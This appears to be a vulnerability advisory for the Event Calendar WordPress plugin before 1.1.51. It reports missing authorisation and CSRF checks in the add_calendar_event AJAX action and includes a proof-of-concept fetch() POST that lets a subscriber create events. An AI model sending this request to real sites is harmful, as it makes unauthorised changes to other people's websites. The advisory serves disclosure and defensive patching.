Event Calendar < 1.1.51 - Subscriber+ Event Creation

The plugin does not have proper authorisation and CSRF checks in the add_calendar_event AJAX actions, allowing users with a role as low as subscriber to create events

PoC

Adding calendar events: fetch(“https://example.com/wp-admin/admin-ajax.php”, { “headers”: { “content-type”: “application/x-www-form-urlencoded”, }, “body”: new URLSearchParams({“action”: “add_calendar_event”, “ecwd_calendar_id”: 4, “ecwd_event_name”: “An opening”, “ecwd_date_from”: “2021/11/01”, “ecwd_date_to”: “2022/11/01”}), “method”: “POST”, “credentials”: “include” }) .then(response => response.text()) .then(data => console.log(data));